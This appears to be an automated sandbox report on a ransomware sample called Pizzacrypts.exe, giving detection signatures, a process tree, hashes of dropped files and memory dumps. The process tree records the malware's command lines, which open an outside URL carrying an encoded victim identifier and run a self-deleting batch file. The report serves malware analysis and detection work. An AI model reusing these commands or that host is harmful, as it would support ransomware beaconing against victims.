Analysis

  • max time kernel
    189s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    22/11/2024, 03:36

General

  • Target
    Pizzacrypts.exe
  • Size 168KB
  • Sample241122-d54ddstney
  • SHA256 d6818864dc9e10b15c88aca4d1e8fd971eff43572beba3001fd6c96028afd9f3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Renames multiple (451) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 21 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe
    "C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe
      "C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe"
      2⤵
      • Adds Run key to start application
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2520
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "start http://avtoship.com/123/index.php?u=8ACEFC592BC56C857CEE0A84BD5DAC83481702EF19B3895B7BCACACBE88C19F6EA3AC91B6D773FC0CDE4B7AF4C361D5602E0827AC81D9B58926F9C9A63821E4BBC3632758B44BC56165F7CC3A79B068059B2E7B52ADEBCC15E5AD363FEF00218380DD0714E3C9DDD52D3AEC7998CEA643E76F9F12C5DAC1549AAA32132E3300108725EC294FFE2E3324EF01270206C7AD588E60DF6A169164ED68E22692F3825AB37D30EF7B427745584B8E7F831BEED7CC963B57E8712DE88C4BB47C7EEE75845"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1588
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" http://avtoship.com/123/index.php?u=8ACEFC592BC56C857CEE0A84BD5DAC83481702EF19B3895B7BCACACBE88C19F6EA3AC91B6D773FC0CDE4B7AF4C361D5602E0827AC81D9B58926F9C9A63821E4BBC3632758B44BC56165F7CC3A79B068059B2E7B52ADEBCC15E5AD363FEF00218380DD0714E3C9DDD52D3AEC7998CEA643E76F9F12C5DAC1549AAA32132E3300108725EC294FFE2E3324EF01270206C7AD588E60DF6A169164ED68E22692F3825AB37D30EF7B427745584B8E7F831BEED7CC963B57E8712DE88C4BB47C7EEE75845
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1928
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1928 CREDAT:275457 /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1720
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1928 CREDAT:603152 /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:4676
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "start http://avtoship.com/123/index.php?r=8ACEFC592BC56C857CEE0A84BD5DAC8045124AA16CB082583785"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5648
      • C:\Windows\SysWOW64\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\317FKF8LCG90FUIAT.txt
        3⤵
        • System Location Discovery: System Language Discovery
        • Opens file in notepad (likely ransom note)
        • Suspicious use of FindShellTrayWindow
        PID:6016
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe.bat" "
        3⤵
        • Deletes itself
        • System Location Discovery: System Language Discovery
        PID:5476
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1748

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • Path C:\ProgramData\Microsoft\Assistance\Client\1.0\es-ES\[email protected]
        • Size 4B
        • SHA256 db44b8db4f05d720ef1a57abadeed0c164d47b17416c7dd7d136d8f10fba91c9
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 bcb2294f23c34cb6a8204ad32d53768574fed9f6328130e5a43ee22cb2fed2a3
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 ad1207e5ef6beb10739c2c3510cc6f219839d213f9c22483089580eabdf8bbb6
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 01add89fa998bcd8d33d9e299cb484e23c4d0290a5280f6159f30b9e32309e7a
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 73c9f92a5889aab8e8c6c3753c6365de6b47a06493b11227b5d765b76b3cf28b
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 3d6e5f9ce187412b1b678bb85176daeb83d15a8fae2228c012cc8da105a94845
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 9d2341f4ceb3408cc73ca648398ef7840ec6c30f7b89bc6bdb7f1e3652b0ce19
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 669884e7bc316795101b25ec50b3a7e020a747641fb7826e7de28c1a62b01b86
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 e844849ff1b03d56a958c785adb37db8bb30f42daa1db8205460bdbf135bd898
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 81f9d553118c8eda005bf761ce66e4eb5c24aae2d0c1fd9251d06949ba67bc52
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 b32cfe6834adb080d320511bcf0b97b397bbfe6b11be9c1a157c9e85554dcdde
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 07f2c597272ea93349ad6b81a3ce7cf76f38a4995e2d3b8ecff9da6d342e7e41
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 72630af763248164f25f709c52c777b320d387457285c1fba833a15c980d31d9
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 f4ea424355dd9702b692d0ed33b2cecbc8c068752f4a3fb09231155258184b42
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 d7f1b1cc2970ecfe1da264e51592ce80a726125cd1e1864972104efe9f8fdf9a
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 857f7b635bed24fb99b2e50d2884cb28949096d5dbaecfdff061d49791e1fe4c
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 8b61e465e28560a75fe7f9398b6c0d24c3e86a2e401d2bc70c108db6b2279172
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 93020152c0cb293745e9711f6f268feed2087b0f38e40bb4f82caa3cd6278f3c
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 a2b12e2f4378087accb01ace3cfac32060ff112fe7fe32c8932d1ed7c6db38cb
        • MD5 SHA1 SHA512

        94308059B57B3142E455B38A6EB92015

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        • Size 342B
        • SHA256 fe1bf0d58c0d393a0235b9ae2cb9b26489929614e0ea3a36ee6883b0e0e24fab
        • MD5 SHA1 SHA512

        search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
        • Size 4KB
        • SHA256 5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07
        • MD5 SHA1 SHA512 SSDEEP

        Popular Government Questions from [email protected]

        • Path C:\Users\Admin\AppData\Local\Microsoft\Feeds\Feeds for United States~\Popular Government Questions from [email protected]
        • Size 28KB
        • SHA256 070a39e06f4f02e07610d2572d657d2c18d36697f1a0cec398cdd34ff1ebe07c
        • MD5 SHA1 SHA512 SSDEEP

        317FKF8LCG90FUIAT.txt

        • Path C:\Users\Admin\AppData\Local\Temp\317FKF8LCG90FUIAT.txt
        • Size 772B
        • SHA256 89c93a3893f515cf5619cf283c3e2e6f1184148a30bf7da246d4677ffcb56ba8
        • MD5 SHA1 SHA512

        Cab40BB.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Cab40BB.tmp
        • Size 70KB
        • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
        • MD5 SHA1 SHA512 SSDEEP

        Pizzacrypts.exe.bat

        • Path C:\Users\Admin\AppData\Local\Temp\Pizzacrypts.exe.bat
        • Size 116B
        • SHA256 a12c562a79adbc64e884887aa89c7556ba15ef03a38a58e3ec738b83a7ca8648
        • MD5 SHA1 SHA512

        Tar4198.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\Tar4198.tmp
        • Size 181KB
        • SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
        • MD5 SHA1 SHA512 SSDEEP

        ~DF10EED2FDDC5C1043.TMP

        • Path C:\Users\Admin\AppData\Local\Temp\~DF10EED2FDDC5C1043.TMP
        • Size 16KB
        • SHA256 038341c713e6b3e65cb90377cea9038289b6b98296389417293666e94ee0810c
        • MD5 SHA1 SHA512 SSDEEP
        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\z3l10m6w.default-release\storage\permanent\chrome\idb\[email protected]
        • Size 48KB
        • SHA256 0273c8d755b0b961b940984c05f5016368b2d527dab231eebdceb5d57197ed8f
        • MD5 SHA1 SHA512 SSDEEP

        memory/2172-0-0x00000000002F0000-0x00000000002F5000-memory.dmp

        memory/2520-51-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-118-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-114-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-106-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-87-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-101-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-128-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-126-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-95-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-104-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-100-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-60-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-67-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-61-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-63-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-73-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-1-0x0000000000300000-0x0000000000400000-memory.dmp

        memory/2520-55-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-57-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-53-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-46-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-45-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-2302-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-21-0x0000000000400000-0x000000000041C000-memory.dmp

        memory/2520-2301-0x0000000000400000-0x000000000041C000-memory.dmp

        memory/2520-19-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-92-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-122-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-85-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-110-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-112-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-109-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-105-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-99-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-93-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-120-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-3-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-86-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-83-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-81-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-77-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-75-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-56-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-79-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-54-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-52-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-71-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-7-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-9-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-12-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-10-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        memory/2520-14-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-8-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-17-0x0000000000400000-0x000000000041C000-memory.dmp

        memory/2520-18-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-16-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-15-0x0000000000400000-0x0000000000EF0000-memory.dmp

        memory/2520-5-0x0000000000400000-0x0000000000EF0000-memory.dmp